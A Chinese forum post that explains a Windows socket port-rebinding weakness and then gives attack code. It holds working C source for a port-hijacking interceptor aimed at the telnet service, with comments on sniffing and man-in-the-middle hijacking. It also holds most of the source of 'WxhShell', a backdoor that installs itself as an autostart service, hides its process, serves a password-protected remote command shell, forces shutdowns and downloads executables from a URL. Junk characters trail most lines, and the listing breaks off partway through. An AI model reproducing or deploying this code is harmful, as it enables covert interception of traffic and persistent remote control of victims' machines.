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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4kWg>F3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TTeAa  
;[FW!  
  saddr.sin_family = AF_INET;  KYnW7|*  
fndK/~?]H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >{j,+$%kp  
3DxZ#/!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eFt\D\XOW  
K?5B>dv@A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2=igS#h  
j5PaSk&o=  
  这意味着什么?意味着可以进行如下的攻击: }V\P,ck  
di8W2cwz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]cx"  
/d{glOk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QN)/,=#  
fKPiRlLS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JVD@I{  
q,<n,0)K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kb/|;!  
\?bwm&6+r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [ED!J~lg8  
B.]qrS|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5u'TmLuKT  
1 ;cv-W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r{pI-$  
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  #include XD;15a  
  #include Zk~nB}Xw  
  #include 0t5Q9#RY  
  #include    T [T6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   fl} rz  
  int main() E9yFREvQc  
  { "2)+)Db  
  WORD wVersionRequested; *\=2KIF'  
  DWORD ret; mtSNl|O&{  
  WSADATA wsaData; s5c! ^,L8  
  BOOL val; N,WI{*  
  SOCKADDR_IN saddr; d%}crM-KTL  
  SOCKADDR_IN scaddr; r4;5b s6wm  
  int err; gGtep*k  
  SOCKET s; YH /S2D  
  SOCKET sc; 1Pud,!\%q  
  int caddsize; pieU|?fQ  
  HANDLE mt; p<Zs*  @  
  DWORD tid;   Jo6~r-  
  wVersionRequested = MAKEWORD( 2, 2 ); ]I{qp~^#n  
  err = WSAStartup( wVersionRequested, &wsaData ); 844tXMtPB\  
  if ( err != 0 ) { vDu0  
  printf("error!WSAStartup failed!\n"); p{A}p9sjx  
  return -1; }4bB7,j  
  } v\vE^|-\/  
  saddr.sin_family = AF_INET; qT4I Y$h  
   Z:\;R{D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?;0nJf  
Bxn 8><  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s=H/b$v  
  saddr.sin_port = htons(23); F|]o9&/<]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ATYQ6E[{MV  
  { O ,Pl7x%tK  
  printf("error!socket failed!\n"); ,^MW)Gf<  
  return -1; p/\$P=  
  } 6 . +[ z  
  val = TRUE; 2+T8Y,g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Bq$e|t)'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GibggOj2Q,  
  { ^}i5 0SG:y  
  printf("error!setsockopt failed!\n"); xZ9}8*Q&:  
  return -1; :GwSs'$O  
  } ;kyL>mV{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }S~ysQwT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9#Aipu\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aBqe+FXp4  
!1a|5 xrn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b'Fx),  
  { |d/x~t=  
  ret=GetLastError(); *j_fG$10g  
  printf("error!bind failed!\n"); nZ`2Z7!  
  return -1; [a>JG8[ ,t  
  } ooLnJ Y#  
  listen(s,2); `}k&HRn  
  while(1) M `9orq<  
  { >D`fp  
  caddsize = sizeof(scaddr); "Cyo<|  
  //接受连接请求 5{R#h :  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d I#8CO  
  if(sc!=INVALID_SOCKET) M5cOz|j/*R  
  { Z30z<d,j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $L<_uqSk  
  if(mt==NULL) I{?E/Sc  
  { an$ ]IN  
  printf("Thread Creat Failed!\n"); G*vpf~q?  
  break; p:[`%<j0  
  } YA^wUx  
  } <FcPxZ  
  CloseHandle(mt); :Fi%Cef|  
  } IS0HV$OI  
  closesocket(s); xY\*L:TwW  
  WSACleanup(); "W_jdE6v  
  return 0; w+).pcG( *  
  }   Z!]U&Ax`Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) dbMu6Bm\G  
  { o-Q]Dk1W  
  SOCKET ss = (SOCKET)lpParam; lJ2|jFY9  
  SOCKET sc; r?5@Etpg  
  unsigned char buf[4096]; Uf7F8JZmM  
  SOCKADDR_IN saddr; !\&7oAs=I  
  long num; )MD*)O  
  DWORD val; /c_kj2& ]9  
  DWORD ret; L6[rvM|9_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L5zG0mC8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   rx}ujjx  
  saddr.sin_family = AF_INET; N1s $3Ul  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \4\\575zp'  
  saddr.sin_port = htons(23); fncwe ';?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FfD ,cDs  
  { 7kX7\[zN  
  printf("error!socket failed!\n"); 2vh!pez_  
  return -1; JL.yd H79  
  } U<g UX07  
  val = 100;  z~}StCH(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7+D'W7Yx  
  { 9h3~;Q  
  ret = GetLastError(); Cdt,//xrz  
  return -1; qOcG|UgF  
  } aV?}+Y{#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]df9'\  
  { j?f,~Y<k  
  ret = GetLastError(); g6@NPQ  
  return -1; ^O$[Y9~*  
  } {0)WS}&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /8$1[[[  
  { r.a9W? (E  
  printf("error!socket connect failed!\n"); I7G\X#,iz  
  closesocket(sc); 7uv/@(J"$  
  closesocket(ss); 8JtI&aH-L  
  return -1; =|6^)lt$  
  } Z+``/Q]>+  
  while(1) 9s\i(/RxW  
  { U7*VIRibv+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3h D2C'KD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ](9{}DHV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1VjeP *  
  num = recv(ss,buf,4096,0); t5X^(@q4N  
  if(num>0) CJ}@R.Zy  
  send(sc,buf,num,0); /4"S}P>f  
  else if(num==0) U3_yEvZ  
  break; uG(~m_7Hx  
  num = recv(sc,buf,4096,0); ,syA()  
  if(num>0) :d% -,v  
  send(ss,buf,num,0); M[ ~2,M&H  
  else if(num==0) ];b!*Z  
  break; *nsnX/e(-  
  } ,8J*S  
  closesocket(ss); LKf5r,C  
  closesocket(sc); [#Nx>RY  
  return 0 ; Xg!|F[i  
  } u6qi  
#H|j-RM2  
r;%zG Fp  
========================================================== K&D}!.~/  
e@2Vn? 5  
下边附上一个代码,,WXhSHELL LHHDt<+B  
ZTBFV/{  
========================================================== E!}-qbH^  
S!I <m&Cgc  
#include "stdafx.h" vU$O{|J  
2p3u6\y  
#include <stdio.h> q| =q:4_L  
#include <string.h> uDE91.pUkr  
#include <windows.h>  Sj{rvW  
#include <winsock2.h> >e$^# \D  
#include <winsvc.h> h4B#T'b  
#include <urlmon.h> 2GD mZl  
F&L?J_=  
#pragma comment (lib, "Ws2_32.lib") { Sliy'  
#pragma comment (lib, "urlmon.lib") 602eLV)  
xZ @O"*{  
#define MAX_USER   100 // 最大客户端连接数 zIYr0k*%  
#define BUF_SOCK   200 // sock buffer Zs$RKJ7  
#define KEY_BUFF   255 // 输入 buffer ^$Eiz.  
h&k ^l,  
#define REBOOT     0   // 重启 t!=~5YgKs  
#define SHUTDOWN   1   // 关机 b1,T!xL  
7Yw\%}UL  
#define DEF_PORT   5000 // 监听端口 F{H0 %  
-< dMD_  
#define REG_LEN     16   // 注册表键长度 W'2-3J  
#define SVC_LEN     80   // NT服务名长度 G}dOx}kT  
Lq $4.l[j  
// 从dll定义API a4a[pX,5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a@=36gx)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zz)oMw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \I,Dje/:w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g 2 { ?EP  
}Mb'tGW  
// wxhshell配置信息 _F|_C5A  
struct WSCFG { x+:,b~Skk  
  int ws_port;         // 监听端口 2wuW5H8w{  
  char ws_passstr[REG_LEN]; // 口令 KlqJ EtO_  
  int ws_autoins;       // 安装标记, 1=yes 0=no _~S^#ut+  
  char ws_regname[REG_LEN]; // 注册表键名 W Pp\sIP  
  char ws_svcname[REG_LEN]; // 服务名 "MS`d+rf\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l6DIsR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *~<]|H5~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7@y!R   
int ws_downexe;       // 下载执行标记, 1=yes 0=no E=_B@VJknW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wyzBkRg.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iJKm27 ">  
zm3MOH^a  
}; AGJ=de.  
8.%a"sxr  
// default Wxhshell configuration OD/P*CQ_  
struct WSCFG wscfg={DEF_PORT, HxqV[|}0u  
    "xuhuanlingzhe", 9@z|2z2\G  
    1, $?A Uk  
    "Wxhshell", v/ 00L R  
    "Wxhshell", y[@j0xlO  
            "WxhShell Service", I^\bS  
    "Wrsky Windows CmdShell Service", bb :|1D  
    "Please Input Your Password: ", `J ,~hK  
  1, ttq< )4  
  "http://www.wrsky.com/wxhshell.exe", 89- 8v^ Pq  
  "Wxhshell.exe" ~CdseSo 9  
    }; =#")G1A  
19-yM`O  
// 消息定义模块 &Cpxo9-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *DI:MBJY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }!7DF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yb.|7U?/x  
char *msg_ws_ext="\n\rExit."; <QW1fE  
char *msg_ws_end="\n\rQuit."; :8|3V~%m  
char *msg_ws_boot="\n\rReboot..."; 6p]R)K>wS  
char *msg_ws_poff="\n\rShutdown..."; 79B`w #  
char *msg_ws_down="\n\rSave to "; eKFc W5O  
(xSi6EZ6;  
char *msg_ws_err="\n\rErr!"; qH$rvD!]  
char *msg_ws_ok="\n\rOK!"; : )"jh`  
.L{+O6*c  
char ExeFile[MAX_PATH]; nIKT w  
int nUser = 0; dVtLYx  
HANDLE handles[MAX_USER]; M^Ay,jK!  
int OsIsNt; 2l/5i]Tq  
+?txGHQq  
SERVICE_STATUS       serviceStatus; ?gMrcc/{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RqjDMN:  
O+Lb***b"  
// 函数声明 5b4V/d* '  
int Install(void); . .je<   
int Uninstall(void); :!YJ3:\  
int DownloadFile(char *sURL, SOCKET wsh); I)%jPH:ua  
int Boot(int flag); YGpp:8pen  
void HideProc(void); x7kg_`\U  
int GetOsVer(void); yr 9)ga%  
int Wxhshell(SOCKET wsl); ="[](X^ l  
void TalkWithClient(void *cs); $JSC+o(q3#  
int CmdShell(SOCKET sock); QZa#i L  
int StartFromService(void); _3G)S+ 7#  
int StartWxhshell(LPSTR lpCmdLine); +X(^Q@  
Bsk2&17z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o^"3C1j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0?;Hmq3  
[T#a1!  
// 数据结构和表定义 4e\`zy  
SERVICE_TABLE_ENTRY DispatchTable[] = Fl3r!a!P,  
{ YM* 6W?  
{wscfg.ws_svcname, NTServiceMain}, '2J6%Gg  
{NULL, NULL} %oKqK >S)  
}; `ur9KP4Dq  
a`X&;jH0ef  
// 自我安装 B5r_+?=2e  
int Install(void) bY U+-|54  
{ N\e@$1  
  char svExeFile[MAX_PATH]; Au*?)X- $  
  HKEY key; ygY+2  
  strcpy(svExeFile,ExeFile); !vp!\Zj7o  
\HEo8~TY  
// 如果是win9x系统,修改注册表设为自启动 Y[]+C8"O  
if(!OsIsNt) { ]`H.qV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u0KZrz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qr-J-2s?B  
  RegCloseKey(key); 7-g4S]r<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7b%Cl   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KXfW&d(Pk  
  RegCloseKey(key); 4_0/]:~5  
  return 0; Vg~ kpgB  
    } }w^ T9OC  
  } ZBq*<VtV  
} s1$#G!'  
else { Cj9O [  
iT9Ex9RL  
// 如果是NT以上系统,安装为系统服务 (Tb0PzA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |ylTy B  
if (schSCManager!=0) dq/?&X  
{ 5@A=, GPUn  
  SC_HANDLE schService = CreateService Q~!hr0 ZR  
  (  `e=n( D  
  schSCManager, `'.x*MNF  
  wscfg.ws_svcname, .eXA.9 |jm  
  wscfg.ws_svcdisp, 'J0s%m|j  
  SERVICE_ALL_ACCESS, hg=G//  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0F'UFn>{  
  SERVICE_AUTO_START, rAw1g,&  
  SERVICE_ERROR_NORMAL, _`[6jhNa!  
  svExeFile, #$B,8LFz,$  
  NULL, yzR=:0J  
  NULL, U`_vF~el~  
  NULL, )&!@O$RS8(  
  NULL, KY&,(z   
  NULL W@C tFU9  
  ); mg/kyua^  
  if (schService!=0) !:[n3.vm   
  { QF "&~  
  CloseServiceHandle(schService); #LgoKiP!Y  
  CloseServiceHandle(schSCManager); FtDA k?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }v ,P3  
  strcat(svExeFile,wscfg.ws_svcname); .(]1PKW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0$ac1;7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qf(e'e  
  RegCloseKey(key);  AlaN;  
  return 0; JP*mQzZL  
    } Xb]?/7 X  
  } ,O{ 5   
  CloseServiceHandle(schSCManager); 2e@\6l,!^  
} H).5xx[`  
} ;iNx@tz4  
'[8jm=Q#'  
return 1; [4rMUS7-m"  
} tvxcd*{  
F+S#m3X  
// 自我卸载 ''Ec-b6Q-  
int Uninstall(void) e`1s[ ^B  
{ ^O*hs%eO%  
  HKEY key; Qug'B  
yOzKux8kB  
if(!OsIsNt) { Ao0PFY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E9-'!I!  
  RegDeleteValue(key,wscfg.ws_regname); x#mk[SV  
  RegCloseKey(key); IjAity.Xrq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zN JyF;3  
  RegDeleteValue(key,wscfg.ws_regname); ulo7d1OVkJ  
  RegCloseKey(key); =PM#eu  
  return 0; l%~zj,ew  
  } _'p;V[(+M  
} CoXL;\  
} L%Q *\d  
else { 08jQq#  
1A.\Ao  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B4O a7$M/U  
if (schSCManager!=0) o?+e_n=  
{ &\[J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .]c:Zt}P  
  if (schService!=0) *3($s_r>  
  { )/N! {`.9  
  if(DeleteService(schService)!=0) { Mg/2 w  
  CloseServiceHandle(schService); bA,D]  
  CloseServiceHandle(schSCManager); wVtBeZa  
  return 0; $Ws2g*i  
  } Y2&6xTh  
  CloseServiceHandle(schService); B*N8:u  
  } lf# six  
  CloseServiceHandle(schSCManager); M'7x:Uw;  
} )!72^rl  
} !Sh5o'D28  
0N_Da N  
return 1; H/{3 i  
} h9nCSj  
2F7R,rr  
// 从指定url下载文件 \Da$bJ  
int DownloadFile(char *sURL, SOCKET wsh) L-dKZ8Q  
{ I!'(>VlP7  
  HRESULT hr; tRCd(Z,WY  
char seps[]= "/"; 3l[hkRFu`  
char *token; IxR:a(  
char *file; Lr&BZM  
char myURL[MAX_PATH]; }C#d;JC  
char myFILE[MAX_PATH]; k"zHrn"$  
YaNVpLA  
strcpy(myURL,sURL); <qx-%6  
  token=strtok(myURL,seps); C( ;7*]  
  while(token!=NULL) b6BIDuRb  
  { 7IH{5o\e  
    file=token; SoIMftX  
  token=strtok(NULL,seps); +?tNly`  
  } <{kj}nxz  
b1!%xdy_T  
GetCurrentDirectory(MAX_PATH,myFILE); R!CUR~F  
strcat(myFILE, "\\"); 3I(H.u  
strcat(myFILE, file);  sOmYQ{R  
  send(wsh,myFILE,strlen(myFILE),0); xw Qkk  
send(wsh,"...",3,0); ~'iuh>O)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HjD= .Q  
  if(hr==S_OK) 0g4cyK~n]  
return 0; W>Kn *Dy8~  
else (qdk &  
return 1; VZR6oia  
:+$_(* Z  
} SfT]C~#$N  
']x]X ,  
// 系统电源模块 PnvLXE}F  
int Boot(int flag) JJXf%o0yq  
{ <h[^&CY{  
  HANDLE hToken; ,0xN#&?Ohh  
  TOKEN_PRIVILEGES tkp; uRg^:  
nr;/:[F  
  if(OsIsNt) { m e" <+6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {S!~pn&^Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T^t`H p  
    tkp.PrivilegeCount = 1; /qG?(3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4esf&-gG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &(0);I@fc  
if(flag==REBOOT) { q~C6+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QKxu vW  
  return 0; nor`w,2VF  
} GEgf_C!%@  
else { yMxS'j1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i8F~$6C  
  return 0; 1'U-n{fD  
} :+n7oOV  
  } 5Jp>2d  
  else { M Cz3RZK  
if(flag==REBOOT) { @*dA<N.9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FS[CUoA  
  return 0; EBm\rM8  
} r38CPdE;}  
else { 1Mqz+@~11  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GS@ wG  
  return 0; pQD8#y)`C  
} WD]dt!V%  
} #'T@mA  
~QXNOtVsN  
return 1; l8Ox]%F  
} p /:L;5F  
;2^=#7I?  
// win9x进程隐藏模块 _G42|lA$/  
void HideProc(void) #PGExN3e  
{ BDA\9m^3  
@ggM5mm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F6 Ixu_s  
  if ( hKernel != NULL ) .u)YZN0\  
  { 5UqCRz<,R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z|.. hZG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P`0aU3pl  
    FreeLibrary(hKernel); Z(FAQ\7  
  } >r3Wo%F'  
s_|wvOW)'  
return; 4YJs4CB  
} f|EWu  
6K &V}  
// 获取操作系统版本 3e"G.0vJ  
int GetOsVer(void) f7L|Jc  
{ iJAW| dw}  
  OSVERSIONINFO winfo; h$3Y,-4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~lMsD~$sO  
  GetVersionEx(&winfo); rYT3oqpfT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]yyfE7{q  
  return 1; Y,9("'bo  
  else G{:L^2>  
  return 0; PGJ?=qXr#  
} cCwT0O#d  
w% M0Mu  
// 客户端句柄模块 DF#Ob( 1  
int Wxhshell(SOCKET wsl) 8Og9P1jVh  
{ vwg\qKqSM  
  SOCKET wsh; [@(zGb8  
  struct sockaddr_in client; |h;MA,qva  
  DWORD myID; 7G xNI  
b]Jh0B~Y  
  while(nUser<MAX_USER) YVzK$k'3U  
{ f -#fi7  
  int nSize=sizeof(client); v{I:Wxe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TE/2}XG)  
  if(wsh==INVALID_SOCKET) return 1; IV\@GM:ait  
s)>]'ii  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SFuzH)+VO  
if(handles[nUser]==0) E~24b0<7  
  closesocket(wsh); 1}N5WBp  
else Z)HQlm  
  nUser++; 5(,WN  
  } xv /w %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TJCoID7a8  
-7lJ  
  return 0; dJ$}]   
} lA{Sr0f TP  
Tf+B<B:  
// 关闭 socket &iuc4"'  
void CloseIt(SOCKET wsh) ,Ti#g8j  
{ .NabK  
closesocket(wsh); U7Ps2~x3  
nUser--; \KG{ 11  
ExitThread(0); z19y>j  
} +* &!u=%G  
Ly3^zF W  
// 客户端请求句柄 |*!I(wm2i  
void TalkWithClient(void *cs) s+4G`mq>*  
{ 6$IAm#  
q4VOK 'N  
  SOCKET wsh=(SOCKET)cs; LJT+tb?K  
  char pwd[SVC_LEN]; >%xJ e'  
  char cmd[KEY_BUFF]; J^u8d?>r  
char chr[1]; [ %r :V"  
int i,j; b-wFnMXk+  
D:%v((Ccw  
  while (nUser < MAX_USER) { (fq>P1-  
~$+9L2gz  
if(wscfg.ws_passstr) { K2!KMhvQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z[vMO%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (CEJg|,  
  //ZeroMemory(pwd,KEY_BUFF); I'C{=?  
      i=0; ybfNG@N*  
  while(i<SVC_LEN) { &B[$l`1  
?QZ\KY  
  // 设置超时 #b:8-Lt:M  
  fd_set FdRead; 2 3 P7~S  
  struct timeval TimeOut; op[5]tjL  
  FD_ZERO(&FdRead); NoV2<m$  
  FD_SET(wsh,&FdRead); 4"0`J  
  TimeOut.tv_sec=8; poeKY[].  
  TimeOut.tv_usec=0; 0,,x|g$TpT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C:W}hA!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2 rne=L  
U nGG%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ze]2-B4  
  pwd=chr[0]; P#6y  
  if(chr[0]==0xd || chr[0]==0xa) { 0F)Y[{h<  
  pwd=0; \9!W^i[+  
  break; ,xNuc$8Jd  
  } p1CY?K  
  i++; ?DA,]aa-  
    } OLlNCb#t  
UT+B*?,h  
  // 如果是非法用户,关闭 socket /9;)zI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (@mvNlc:  
} ?-Fp rC  
^b'|`R+~}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G!@tW`HO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GYZzWN}U  
(@~d9PvB>  
while(1) { JZ'`.yK:  
MJb!+E+  
  ZeroMemory(cmd,KEY_BUFF); Uk5jZ|  
RD<l<+C^~  
      // 自动支持客户端 telnet标准   GAV|x]R  
  j=0; /`3< @{D  
  while(j<KEY_BUFF) { j $a,93P5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #"=_GA^.{  
  cmd[j]=chr[0]; "^yTH/m  
  if(chr[0]==0xa || chr[0]==0xd) { g*TAaUs|n  
  cmd[j]=0; 6;k#|-GU&  
  break; $s$z"<  
  } hC=9%u{r?  
  j++; V07e29w  
    } BJ wPSKL  
t=Tu-2,k  
  // 下载文件 6*le(^y`  
  if(strstr(cmd,"http://")) { )k{zRq:d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S8^W)XgC;  
  if(DownloadFile(cmd,wsh)) D^$Nn*i;U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[#i(5w  
  else H0_hQ:K   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eo4;?z  
  } 9=89)TrY  
  else { /w$<0hH#'8  
y7txIe!<5  
    switch(cmd[0]) {  Q47Rriw  
  PSNfh7g  
  // 帮助 ]N,n7v+}  
  case '?': { $d'GCzYvZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g`k_o<'JC  
    break; 43^%f-J 5  
  } E80C0Q+V  
  // 安装 HI*xk  
  case 'i': { |]w0ytL>(2  
    if(Install()) FE,&_J"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $_%yr ~2  
    else M S)(\&N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *2Il{KO A^  
    break; |MY6vRJ(  
    } .n'z\] -/Q  
  // 卸载 615, P/  
  case 'r': { bzz=8n  
    if(Uninstall()) IDyf9Zra?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\v1o  
    else 3XjM@D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LzEs_B=9  
    break; >LRt,.hy6  
    } :)_Ap{9J  
  // 显示 wxhshell 所在路径 v `9IS+Z  
  case 'p': { 2&S*> (  
    char svExeFile[MAX_PATH]; n(\5Z&  
    strcpy(svExeFile,"\n\r"); ?kMG!stgp}  
      strcat(svExeFile,ExeFile); iqW T<WY  
        send(wsh,svExeFile,strlen(svExeFile),0); l:5x*QSX  
    break; *"2TT})   
    } O'a Srjl  
  // 重启 .gh3"  
  case 'b': { L}7c{6!F7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r~N0P|Tq  
    if(Boot(REBOOT)) <05\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^NKB  
    else { tG+ E'OP  
    closesocket(wsh); dOh`F~ Y)e  
    ExitThread(0); qc;9{$?xV  
    } &_n~#Mex  
    break; l$=Y(Xk  
    } n@r'b{2;l  
  // 关机 Q[O[,Rk  
  case 'd': { </(bwc~2  
